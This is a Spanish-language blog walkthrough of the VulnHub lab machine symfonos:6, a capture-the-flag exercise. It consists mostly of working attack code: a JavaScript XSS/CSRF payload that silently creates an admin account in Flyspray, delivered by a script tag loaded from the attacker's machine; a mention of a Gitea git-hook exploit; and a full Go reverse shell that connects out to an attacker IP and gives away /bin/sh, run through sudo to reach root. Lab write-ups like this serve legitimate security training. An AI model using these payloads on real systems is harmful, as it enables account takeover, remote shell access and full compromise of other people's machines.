lunes, 17 de octubre de 2022

symfonos6: flyspray, gitea, go

 https://www.vulnhub.com/entry/symfonos-61,458/

Difficulty: intermediate-hard

1- en 80 buscamos y tenemos flyspray. Creamos un usuario test y aplicamos exploit 

https://www.exploit-db.com/exploits/41918
https://www.youtube.com/watch?v=eCf9a0QpnPs

creamos script js

var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();

y en realname del usuario test creado en flyspray ponemos el xss

"><script src=máquina atacante/script.js></script>

salimos y entramos como el usuario test creado y ponemos algún comentario en alguna tarea. Con eso se crea el usuario hacker

entramos como hacker que es admin, y en una de las tareas nos da el login git de achilles

2- vamos al gitea en 3000 y entramos como achilles. Hacemos exploit git hook post y accedemos shell git a la máquina

3- su achilles, la contraseña es la misma

4- tenemos sudo go, hacemos un shell reverse en go y root

package main

import (
  "net"
  "os/exec"
  "time"
)

var (
  lhost string
  lport string
)
func prepareCmd() (*exec.Cmd) {
  cmd := exec.Command("/bin/sh")

  return cmd
}
func main(){
  var target string = "192.168.2.84:8888"
  var cmd *exec.Cmd
  var err error
  var conn net.Conn = nil
  var attempt int = 0

  for conn == nil && attempt < 3 {
    conn, err = net.Dial("tcp", target)
    if err != nil {
      time.Sleep(20 * time.Second)
      conn = nil
    } else {
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

sudo /usr/local/go/bin/go run shell.go

[root@symfonos6 ~]# cat proof.txt
cat proof.txt
           Congrats on rooting symfonos:6!
                  ,_---~~~~~----._         
           _,,_,*^____      _____``*g*\"*, 
          / __/ /'     ^.  /      \ ^@q   f 
         [  @f | @))    |  | @))   l  0 _/  
          \`/   \~____ / __ \_____/    \   
           |           _l__l_           I   
           }          [______]           I  
           ]            | | |            |  
           ]             ~ ~             |  
           |                            |   
            |                           |   
     Contact me via Twitter @zayotic to give feedback!
[root@symfonos6 ~]# 


No hay comentarios:

Publicar un comentario